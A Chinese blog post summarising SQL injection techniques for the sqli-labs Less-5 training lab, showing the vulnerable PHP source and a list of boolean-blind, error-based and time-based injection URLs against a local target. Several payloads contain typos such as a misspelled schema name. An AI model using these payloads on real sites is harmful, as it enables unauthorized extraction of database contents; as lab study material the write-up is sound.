美文网首页
Less-5三种盲注小总结

Less-5三种盲注小总结

作者: pigdaqiang | 来源:发表于2020-01-19 21:39 被阅读0次

Less-5

简单的源码分析一下

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //单引号闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

//如果语句正确返回界面正常,否则返回错误.没有返回数据的地方

    if($row)
    {
    echo '<font size="5" color="#FFFF00">'; 
    echo 'You are in...........';
    echo "<br>";
        echo "</font>";
    }
    else 
    {
    
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

利用函数逻辑来判断

注:以下都是利用二分法进行判断

判断数据库版本号第一位是否为5(已知版本号为5)

http://127.0.0.1/Less-5/index.php?id=1'and left(version(),1)=5--+//如果是则返回页面正确,否则页面错误

判断数据库长度

http://127.0.0.1/Less-5/index.php?id=1'and length(database())=8--+

判断数据库第一个字母是否大于a

http://127.0.0.1/Less-5/index.php?id=1' and left(database(),1)>'a'--+

判断数据库前二个字母

http://127.0.0.1/Less-5/index.php?id=1'and left(database(),2)>'sa'--+

利用substr()和ascii()进行注入

ascii(substr((select table_name from infromation_schema.tables where tables_schema=database() limit 0,1),1,1))=101

获取第二位字符直接substr(string,2,1)就好了

获取第二个表,直接limit 0,1 --> limit 1,1就好了

利用regexp来后去users表中的列

http://127.0.0.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)-- +

选择users表中的列名是否有us**的列

http://127.0.0.1/Less-5/index.php?id=1' and 1=(select 1 from infromation_schema.columns where table_name='users' and column_name regexp'^username' limit 0,1)-- +

利用ord()和mid()函数

http://127.0.0.1/Less-5/index.php?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1)1,1))=68

报错注入

``http://127.0.0.1/Less-5/?id=1'union select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a --+`

double 数值类型超出范围

``http://127.0.0.1/Less-5/?id=1'union select (exp(~(select * from (select user())a))),2,3--+`

bigint 溢出报错

``http://127.0.0.1/Less-5/?id=1'union select (!(select * from (select user())x) - ~0),2,3--+`

xpath函数报错

``http://127.0.0.1/Less-5/?id=1'and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+`

``http://127.0.0.1/Less-5/?id=1'and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+`

利用数据的重复性

``http://127.0.0.1/Less-5/?id=1'union select 1,2,3 from (select name const(version(),1),name const(version(),1))x--+`

延时注入

``http://127.0.0.1/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+`

错误的时候会有5秒的延迟

benchmark()延时

``http://127.0.0.1/Less-5/?id=1'union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('msg','by 5 seconds')),null)),2,3 from (select database()as current)as tb1--+`

当结果正确的时候,运行encode('msg','by 5 seconds')操作5000000次会占用一段时间

个人自建博客:
http://pigdaqiang.top

相关文章

  • Less-5三种盲注小总结

    Less-5 简单的源码分析一下 利用函数逻辑来判断 注:以下都是利用二分法进行判断 判断数据库版本号第一位是否为...

  • SQL注入 基于布尔的盲注(less-5)

    盲注 当不能像前面那样直接在网页中显示我们要的数据时就需要用到盲注,来得到数据库之类的名字。基于布尔的盲注就是通过...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • 德州扑克简谈

    1:最好的位置是小盲注前面的庄家,其次是庄家前面的人,最差的是小盲注,和大盲注后面的人,被说成是枪口 2:入局率最...

  • SQL注入 盲注总结

    总结 所有的sql盲注方法都讲了,其中基于时间的盲注由于在浏览本地网页时一般都是秒进,所以出现延时时效果明显,但是...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • Oracle手工盲注小结

    布尔盲注: 利用substr函数截取字符进行盲注: 猜测用户名: 通过substr、ascii函数进行盲注:注意:...

  • 布尔盲注&&时间盲注

    条件:返回正确或者错误页面 time-based

  • 盲注和底注

    盲注 盲注是指在扑克游戏中玩家们强制性下的注。这个注必须是在牌发出前就需要交付的。盲注轮流由在牌桌上的玩家中的2个...

  • 时间盲注

    时间盲注原理: 代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息 语句执行后也不提示真假,我们不...

网友评论

      本文标题:Less-5三种盲注小总结

      本文链接:https://www.haomeiwen.com/subject/fdddzctx.html